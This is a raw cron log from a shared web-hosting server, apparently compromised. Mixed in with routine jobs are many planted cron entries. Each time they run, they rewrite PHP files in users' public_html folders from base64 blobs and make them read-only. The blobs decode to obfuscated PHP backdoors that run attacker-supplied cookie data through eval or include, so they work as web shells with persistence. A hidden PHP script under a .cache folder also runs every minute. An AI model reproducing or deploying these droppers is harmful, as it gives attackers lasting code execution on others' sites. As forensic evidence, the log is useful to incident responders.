Ck7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:51:01 medusa CROND[6364]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:51:01 medusa CROND[6363]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:51:01 medusa CROND[6365]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:52:02 medusa CROND[8668]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:52:02 medusa CROND[8669]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:52:02 medusa CROND[8670]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:52:02 medusa CROND[8671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:52:02 medusa CROND[8673]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:52:02 medusa CROND[8674]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:52:02 medusa CROND[8677]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:52:02 medusa CROND[8672]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:52:02 medusa CROND[8678]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:52:02 medusa CROND[8679]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:52:02 medusa CROND[8680]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:52:02 medusa CROND[8681]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:52:02 medusa CROND[8693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:53:02 medusa CROND[10631]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:53:02 medusa CROND[10632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:53:02 medusa CROND[10634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:53:02 medusa CROND[10636]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:53:02 medusa CROND[10637]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:53:02 medusa CROND[10638]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:53:02 medusa CROND[10641]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:53:02 medusa CROND[10640]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:53:02 medusa CROND[10642]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:53:02 medusa CROND[10643]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:53:02 medusa CROND[10644]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
